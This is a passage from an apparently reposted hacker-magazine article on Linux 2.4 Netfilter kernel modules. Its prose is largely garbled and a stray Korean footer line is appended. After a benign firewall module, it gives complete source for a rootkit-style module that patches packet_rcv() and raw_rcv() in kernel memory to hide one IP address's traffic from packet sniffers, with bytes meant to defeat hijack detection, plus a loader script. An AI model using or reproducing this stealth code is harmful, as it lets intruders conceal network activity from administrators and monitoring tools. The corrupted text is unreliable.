#include <linux/netfilter.h>

#include <linux/netfilter_ipv4.h>

#include <linux/in.h>

#include <linux/ip.h>

#include <linux/tcp.h>



#include <asm/errno.h>

#include <asm/uaccess.h>



#include "lwfw.h"



/* Local function prototypes */

static int set_if_rule(char *name);

static int set_ip_rule(unsigned int ip);

static int set_port_rule(unsigned short port);

static int check_ip_packet(struct sk_buff *skb);

static int check_tcp_packet(struct sk_buff *skb);

static int copy_stats(struct lwfw_stats *statbuff);



/* Some function prototypes to be used by lwfw_fops below. */

static int lwfw_ioctl(struct inode *inode, struct file *file,

              unsigned int cmd, unsigned long arg);

static int lwfw_open(struct inode *inode, struct file *file);

static int lwfw_release(struct inode *inode, struct file *file);





/* Various flags used by the module */

/* This flag makes sure that only one instance of the lwfw device

* can be in use at any one time. */

static int lwfw_ctrl_in_use = 0;



/* This flag marks whether LWFW should actually attempt rule checking.

* If this is zero then LWFW automatically allows all packets. */

static int active = 0;



/* Specifies options for the LWFW module */

static unsigned int lwfw_options = (LWFW_IF_DENY_ACTIVE

                    | LWFW_IP_DENY_ACTIVE

                    | LWFW_PORT_DENY_ACTIVE);



static int major = 0;               /* Control device major number */



/* This struct will describe our hook procedure. */

struct nf_hook_ops nfkiller;



/* Module statistics structure */

static struct lwfw_stats lwfw_statistics = {0, 0, 0, 0, 0};



/* Actual rule 'definitions'. */

/* TODO:  One day LWFW might actually support many simultaneous rules.

* Just as soon as I figure out the list_head mechanism... */

static char *deny_if = NULL;                 /* Interface to deny */

static unsigned int deny_ip = 0x00000000;    /* IP address to deny */

static unsigned short deny_port = 0x0000;   /* TCP port to deny */



/* 

* This is the interface device's file_operations structure

*/

struct file_operations  lwfw_fops = {

   NULL,

     NULL,

     NULL,

     NULL,

     NULL,

     NULL,

     lwfw_ioctl,

     NULL,

     lwfw_open,

     NULL,

     lwfw_release,

     NULL                   /* Will be NULL'ed from here... */

};



MODULE_AUTHOR("bioforge");

MODULE_DESCRIPTION("Light-Weight Firewall for Linux 2.4");



/*

* This is the function that will be called by the hook

*/

unsigned int lwfw_hookfn(unsigned int hooknum,

               struct sk_buff **skb,

               const struct net_device *in,

               const struct net_device *out,

               int (*okfn)(struct sk_buff *))

{

   unsigned int ret = NF_ACCEPT;

   

   /* If LWFW is not currently active, immediately return ACCEPT */

   if (!active)

     return NF_ACCEPT;

   

   lwfw_statistics.total_seen++;

   

   /* Check the interface rule first */

   if (deny_if && DENY_IF_ACTIVE) {

      if (strcmp(in->name, deny_if) == 0) {   /* Deny this interface */

     lwfw_statistics.if_dropped++;

     lwfw_statistics.total_dropped++;

     return NF_DROP;

      }

   }

   

   /* Check the IP address rule */

   if (deny_ip && DENY_IP_ACTIVE) {

      ret = check_ip_packet(*skb);

      if (ret != NF_ACCEPT) return ret;

   }

   

   /* Finally, check the TCP port rule */

   if (deny_port && DENY_PORT_ACTIVE) {

      ret = check_tcp_packet(*skb);

      if (ret != NF_ACCEPT) return ret;

   }

   

   return NF_ACCEPT;               /* We are happy to keep the packet */

}



/* Function to copy the LWFW statistics to a userspace buffer */

static int copy_stats(struct lwfw_stats *statbuff)

{

   NULL_CHECK(statbuff);



   copy_to_user(statbuff, &lwfw_statistics,

        sizeof(struct lwfw_stats));

   

   return 0;

}



/* Function that compares a received TCP packet's destination port

* with the port specified in the Port Deny Rule. If a processing

* error occurs, NF_ACCEPT will be returned so that the packet is

* not lost. */

static int check_tcp_packet(struct sk_buff *skb)

{

   /* Seperately defined pointers to header structures are used

    * to access the TCP fields because it seems that the so-called

    * transport header from skb is the same as its network header TCP packets.

    * If you don't believe me then print the addresses of skb->nh.iph

    * and skb->h.th. 

    * It would have been nicer if the network header only was IP and

    * the transport header was TCP but what can you do? */

   struct tcphdr *thead;

   

   /* We don't want any NULL pointers in the chain to the TCP header. */

   if (!skb ) return NF_ACCEPT;

   if (!(skb->nh.iph)) return NF_ACCEPT;



   /* Be sure this is a TCP packet first */

   if (skb->nh.iph->protocol != IPPROTO_TCP) {

      return NF_ACCEPT;

   }



   thead = (struct tcphdr *)(skb->data + (skb->nh.iph->ihl * 4));

   

   /* Now check the destination port */

   if ((thead->dest) == deny_port) {

      /* Update statistics */

      lwfw_statistics.total_dropped++;

      lwfw_statistics.tcp_dropped++;

      

      return NF_DROP;

   }

   

   return NF_ACCEPT;

}



/* Function that compares a received IPv4 packet's source address

* with the address specified in the IP Deny Rule. If a processing

* error occurs, NF_ACCEPT will be returned so that the packet is

* not lost. */

static int check_ip_packet(struct sk_buff *skb)

{

   /* We don't want any NULL pointers in the chain to the IP header. */

   if (!skb ) return NF_ACCEPT;

   if (!(skb->nh.iph)) return NF_ACCEPT;

   

   if (skb->nh.iph->saddr == deny_ip) {/* Matches the address. Barf. */

      lwfw_statistics.ip_dropped++;    /* Update the statistics */

      lwfw_statistics.total_dropped++;

      

      return NF_DROP;

   }

   

   return NF_ACCEPT;

}



static int set_if_rule(char *name)

{

   int ret = 0;

   char *if_dup;               /* Duplicate interface */

   

   /* Make sure the name is non-null */

   NULL_CHECK(name);

   

   /* Free any previously saved interface name */

   if (deny_if) {

      kfree(deny_if);

      deny_if = NULL;

   }

   

   if ((if_dup = kmalloc(strlen((char *)name) + 1, GFP_KERNEL))

        == NULL) {

      ret = -ENOMEM;

   } else {

      memset(if_dup, 0x00, strlen((char *)name) + 1);

      memcpy(if_dup, (char *)name, strlen((char *)name));

   }



   deny_if = if_dup;

   lwfw_statistics.if_dropped = 0;     /* Reset drop count for IF rule */

   printk("LWFW: Set to deny from interface: %s/n", deny_if);

   

   return ret;

}



static int set_ip_rule(unsigned int ip)

{

   deny_ip = ip;

   lwfw_statistics.ip_dropped = 0;     /* Reset drop count for IP rule */

   

   printk("LWFW: Set to deny from IP address: %d.%d.%d.%d/n",

      ip & 0x000000FF, (ip & 0x0000FF00) >> 8,

      (ip & 0x00FF0000) >> 16, (ip & 0xFF000000) >> 24);

   

   return 0;

}



static int set_port_rule(unsigned short port)

{

   deny_port = port;

   lwfw_statistics.tcp_dropped = 0;    /* Reset drop count for TCP rule */

   

   printk("LWFW: Set to deny for TCP port: %d/n",

      ((port & 0xFF00) >> 8 | (port & 0x00FF) << 8));

      

   return 0;

}



/*********************************************/

/* 

* File operations functions for control device

*/

static int lwfw_ioctl(struct inode *inode, struct file *file,

              unsigned int cmd, unsigned long arg)

{

   int ret = 0;

   

   switch (cmd) {

    case LWFW_GET_VERS:

      return LWFW_VERS;

    case LWFW_ACTIVATE: {

       active = 1;

       printk("LWFW: Activated./n");

       if (!deny_if && !deny_ip && !deny_port) {

      printk("LWFW: No deny options set./n");

       }

       break;

    }

    case LWFW_DEACTIVATE: {

       active ^= active;

       printk("LWFW: Deactivated./n");

       break;

    }

    case LWFW_GET_STATS: {

       ret = copy_stats((struct lwfw_stats *)arg);

       break;

    }

    case LWFW_DENY_IF: {

       ret = set_if_rule((char *)arg);

       break;

    }

    case LWFW_DENY_IP: {

       ret = set_ip_rule((unsigned int)arg);

       break;

    }

    case LWFW_DENY_PORT: {

       ret = set_port_rule((unsigned short)arg);

       break;

    }

    default:

      ret = -EBADRQC;

   };

   

   return ret;

}



/* Called whenever open() is called on the device file */

static int lwfw_open(struct inode *inode, struct file *file)

{

   if (lwfw_ctrl_in_use) {

      return -EBUSY;

   } else {

      MOD_INC_USE_COUNT;

      lwfw_ctrl_in_use++;

      return 0;

   }

   return 0;

}



/* Called whenever close() is called on the device file */

static int lwfw_release(struct inode *inode, struct file *file)

{

   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;

   MOD_DEC_USE_COUNT;

   return 0;

}



/*********************************************/

/*

* Module initialisation and cleanup follow...

*/

int init_module()

{

   /* Register the control device, /dev/lwfw */

      SET_MODULE_OWNER(&lwfw_fops);

   

   /* Attempt to register the LWFW control device */

   if ((major = register_chrdev(LWFW_MAJOR, LWFW_NAME,

                &lwfw_fops)) < 0) {

      printk("LWFW: Failed registering control device!/n");

      printk("LWFW: Module installation aborted./n");

      return major;

   }

   

   /* Make sure the usage marker for the control device is cleared */

   lwfw_ctrl_in_use ^= lwfw_ctrl_in_use;



   printk("/nLWFW: Control device successfully registered./n");

   

   /* Now register the network hooks */

   nfkiller.hook = lwfw_hookfn;

   nfkiller.hooknum = NF_IP_PRE_ROUTING;   /* First stage hook */

   nfkiller.pf = PF_INET;               /* IPV4 protocol hook */

   nfkiller.priority = NF_IP_PRI_FIRST;    /* Hook to come first */

   

   /* And register... */

   nf_register_hook(&nfkiller);

   

   printk("LWFW: Network hooks successfully installed./n");

   

   printk("LWFW: Module installation successful./n");

   return 0;

}



void cleanup_module()

{

   int ret;

   

   /* Remove IPV4 hook */

   nf_unregister_hook(&nfkiller);



   /* Now unregister control device */

   if ((ret = unregister_chrdev(LWFW_MAJOR, LWFW_NAME)) != 0) {

      printk("LWFW: Removal of module failed!/n");

   }



   /* If anything was allocated for the deny rules, free it here */

   if (deny_if)

     kfree(deny_if);

   

   printk("LWFW: Removal of module successful./n");

}

<-->





----[ A.3 -     : lwfw.h



<++> lwfw/lwfw.h

/* Include file for the Light-weight Fire Wall LKM.

* 

* A very simple Netfilter module that drops backets based on either

* their incoming interface or source IP address.

* 

* Written by bioforge  -  March 2003

*/



#ifndef __LWFW_INCLUDE__

# define __LWFW_INCLUDE__



/* NOTE: The LWFW_MAJOR symbol is only made available for kernel code.

* Userspace code has no business knowing about it. */

# define LWFW_NAME        "lwfw" 



/* Version of LWFW */

# define LWFW_VERS        0x0001       /* 0.1 */



/* Definition of the LWFW_TALKATIVE symbol controls whether LWFW will

* print anything with printk(). This is included for debugging purposes.

*/

#define LWFW_TALKATIVE



/* These are the IOCTL codes used for the control device */

#define LWFW_CTRL_SET   0xFEED0000     /* The 0xFEED... prefix is arbitrary */

#define LWFW_GET_VERS   0xFEED0001     /* Get the version of LWFM */

#define LWFW_ACTIVATE   0xFEED0002

#define LWFW_DEACTIVATE 0xFEED0003

#define LWFW_GET_STATS  0xFEED0004

#define LWFW_DENY_IF    0xFEED0005

#define LWFW_DENY_IP    0xFEED0006

#define LWFW_DENY_PORT  0xFEED0007



/* Control flags/Options */

#define LWFW_IF_DENY_ACTIVE   0x00000001

#define LWFW_IP_DENY_ACTIVE   0x00000002

#define LWFW_PORT_DENY_ACTIVE 0x00000004



/* Statistics structure for LWFW.

* Note that whenever a rule's condition is changed the related

* xxx_dropped field is reset.

*/

struct lwfw_stats {

   unsigned int if_dropped;           /* Packets dropped by interface rule */

   unsigned int ip_dropped;           /* Packets dropped by IP addr. rule */

   unsigned int tcp_dropped;           /* Packets dropped by TCP port rule */

   unsigned long total_dropped;   /* Total packets dropped */

   unsigned long total_seen;      /* Total packets seen by filter */

};



/* 

* From here on is used solely for the actual kernel module

*/

#ifdef __KERNEL__

# define LWFW_MAJOR       241   /* This exists in the experimental range */



/* This macro is used to prevent dereferencing of NULL pointers. If

* a pointer argument is NULL, this will return -EINVAL */

#define NULL_CHECK(ptr)    /

   if ((ptr) == NULL)  return -EINVAL



/* Macros for accessing options */

#define DENY_IF_ACTIVE    (lwfw_options & LWFW_IF_DENY_ACTIVE)

#define DENY_IP_ACTIVE    (lwfw_options & LWFW_IP_DENY_ACTIVE)

#define DENY_PORT_ACTIVE  (lwfw_options & LWFW_PORT_DENY_ACTIVE)



#endif                       /* __KERNEL__ */

#endif

<-->



<++> lwfw/Makefile

CC= egcs

CFLAGS= -Wall -O2

OBJS= lwfw.o



.c.o:

    $(CC) -c ___FCKpd___0lt; -o $@ $(CFLAGS)



all: $(OBJS)



clean:

    rm -rf *.o

    rm -rf ./*~

<-->



--[ B -  6      



              packet_rcv() raw_rcv()               IP           。   IP      127.0.0.1,        #define IP      。    bash  ,   System.map               ,                    insmod  。       grem  。     Mod-off  ,                  。     grem。

    

                   ,             。  ,                  ,                              。             ,                                     。                    Linux                    。



    

<++> pcaphide/pcap_block.c

/* Kernel hack that will hijack the packet_rcv() function

* which is used to pass packets to  Libpcap applications

* that use  PACKET sockets.  Also  hijacks the raw_rcv()

* function. This is used to pass packets to applications

* that open RAW sockets.

* 

* Written by bioforge  -  30th June, 2003

*/



#define MODULE

#define __KERNEL__



#include <linux/config.h>

#include <linux/module.h>

#include <linux/kernel.h>

#include <linux/netdevice.h>

#include <linux/skbuff.h>

#include <linux/smp_lock.h>

#include <linux/ip.h>               /* For struct ip */

#include <linux/if_ether.h>           /* For ETH_P_IP */



#include <asm/page.h>               /* For PAGE_OFFSET */



/* 

* IP address to hide 127.0.0.1 in NBO for Intel */

#define IP    htonl(0x7F000001)



/* Function pointer for original packet_rcv() */

static int (*pr)(struct sk_buff *skb, struct net_device *dev,

          struct packet_type *pt);

MODULE_PARM(pr, "i");       /* Retrieved as insmod parameter */



/* Function pointer for original raw_rcv() */

static int (*rr)(struct sock *sk, struct sk_buff *skb);

MODULE_PARM(rr, "i");



/* Spinlock used for the parts where we un/hijack packet_rcv() */

static spinlock_t hijack_lock  = SPIN_LOCK_UNLOCKED;



/* Helper macros for use with the Hijack spinlock */

#define HIJACK_LOCK    spin_lock_irqsave(&hijack_lock, /

                         sl_flags)

#define HIJACK_UNLOCK  spin_unlock_irqrestore(&hijack_lock, /

                          sl_flags)



#define CODESIZE 10

/* Original and hijack code buffers.

* Note that the hijack code also provides 3 additional

* bytes ( inc eax;  nop;  dec eax ) to try and throw

* simple hijack detection techniques that just look for

* a move and a jump. */

/* For packet_rcv() */

static unsigned char pr_code[CODESIZE] = "/xb8/x00/x00/x00/x00"

                                      "/x40/x90/x48"

                                      "/xff/xe0";

static unsigned char pr_orig[CODESIZE];



/* For raw_rcv() */

static unsigned char rr_code[CODESIZE] = "/xb8/x00/x00/x00/x00"

                                      "/x40/x90/x48"

                                      "/xff/xe0";

static unsigned char rr_orig[CODESIZE];



/* Replacement for packet_rcv(). This is currently setup to hide

* all packets with a source or destination IP address that we

* specify. */

int hacked_pr(struct sk_buff *skb, struct net_device *dev,

           struct packet_type *pt)

{

    int sl_flags;               /* Flags for spinlock */

    int retval;



    /* Check if this is an IP packet going to or coming from our

     * hidden IP address. */

    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */

      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)

    return 0;            /* Ignore this packet */

    

    /* Call original */

    HIJACK_LOCK;

    memcpy((char *)pr, pr_orig, CODESIZE);

    retval = pr(skb, dev, pt);

    memcpy((char *)pr, pr_code, CODESIZE);

    HIJACK_UNLOCK;



    return retval;

}



/* Replacement for raw_rcv(). This is currently setup to hide

* all packets with a source or destination IP address that we

* specify. */

int hacked_rr(struct sock *sock, struct sk_buff *skb)

{

    int sl_flags;               /* Flags for spinlock */

    int retval;



    /* Check if this is an IP packet going to or coming from our

     * hidden IP address. */

    if (skb->protocol == htons(ETH_P_IP))   /* IP packet */

      if (skb->nh.iph->saddr == IP || skb->nh.iph->daddr == IP)

    return 0;            /* Ignore this packet */

    

    /* Call original */

    HIJACK_LOCK;

    memcpy((char *)rr, rr_orig, CODESIZE);

    retval = rr(sock, skb);

    memcpy((char *)rr, rr_code, CODESIZE);

    HIJACK_UNLOCK;



    return retval;

}



int init_module()

{

    int sl_flags;               /* Flags for spinlock */

    

    /* pr & rr set as module parameters. If zero or < PAGE_OFFSET

     * (which we treat as the lower bound of kernel memory), then

     * we will not install the hacks. */

    if ((unsigned int)pr == 0 || (unsigned int)pr < PAGE_OFFSET) {

    printk("Address for packet_rcv() not valid! (%08x)/n",

           (int)pr);

    return -1;

    }

    if ((unsigned int)rr == 0 || (unsigned int)rr < PAGE_OFFSET) {

    printk("Address for raw_rcv() not valid! (%08x)/n",

           (int)rr);

    return -1;

    }

         

    *(unsigned int *)(pr_code + 1) = (unsigned int)hacked_pr;

    *(unsigned int *)(rr_code + 1) = (unsigned int)hacked_rr;

    

    HIJACK_LOCK;

    memcpy(pr_orig, (char *)pr, CODESIZE);

    memcpy((char *)pr, pr_code, CODESIZE);

    memcpy(rr_orig, (char *)rr, CODESIZE);

    memcpy((char *)rr, rr_code, CODESIZE);

    HIJACK_UNLOCK;

    

    EXPORT_NO_SYMBOLS;

    

    return 0;

}



void cleanup_module()

{

    int sl_flags;

    

    lock_kernel();

    

    HIJACK_LOCK;

    memcpy((char *)pr, pr_orig, CODESIZE);

    memcpy((char *)rr, rr_orig, CODESIZE);

    HIJACK_UNLOCK;

    

    unlock_kernel();

}

<-->



<++> pcaphide/loader.sh

#!/bin/sh

#  Written by  grem, 30th June 2003

#  Hacked by bioforge, 30th June 2003



if [ "$1" = "" ]; then

        echo "Use: $0 <System.map>";

        exit;

fi



MAP="$1"

PR=`cat $MAP | grep -w "packet_rcv" | cut -c 1-16`

RR=`cat $MAP | grep -w "raw_rcv" | cut -c 1-16`



if [ "$PR" = "" ]; then

        PR="00000000"

fi

if [ "$RR" = "" ]; then

        RR="00000000"

fi



echo "insmod pcap_block.o pr=0x$PR rr=0x$RR"



# Now do the actual call to insmod

insmod pcap_block.o pr=0x$PR rr=0x$RR

<-->



<++> pcaphide/Makefile

CC= gcc

CFLAGS= -Wall -O2 -fomit-frame-pointer

INCLUDES= -I/usr/src/linux/include

OBJS= pcap_block.o



.c.o:

    $(CC) -c ___FCKpd___0lt; -o $@ $(CFLAGS) $(INCLUDES)



all: $(OBJS)



clean:

    rm -rf *.o

    rm -rf ./*~

<-->





------[     



                     。



[1]  The tcpdump group

      http://www.tcpdump.org

[2]  The Packet Factory

      http://www.packetfactory.net

[3]  My network tools page -

      http://uqconnect.net/~zzoklan/software/#net_tools

[4]  Silvio Cesare's Kernel Function Hijacking article

      http://vx.netlux.org/lib/vsc08.html

[5]  Man pages for:

    - raw (7)

    - packet (7)

    - tcpdump (1)

[6]  Linux kernel source files. In particular:

    - net/packet/af_packet.c     (for  packet_rcv())

    - net/ipv4/raw.c             (for  raw_rcv())

    - net/core/dev.c

    - net/ipv4/netfilter/*

[7] Harald Welte's Journey of a packet through the Linux 2.4 network

     stack

     http://gnumonks.org/ftp/pub/doc/packet-journey-2.4.html

[8] The Netfilter documentation page

     http://www.netfilter.org/documentation

[9] Phrack 55 - File 12 -

     http://www.phrack.org/show.php?p=55&a=12

[A] Linux Device Drivers 2nd Ed. by Alessandro Rubini et al.

[B] Inside the Linux Packet Filter. A Linux Journal article

     http://www.linuxjournal.com/article.php?sid=4852





|=[ EOF ]=---------------------------------------------------------------=| 

좋은 웹페이지 즐겨찾기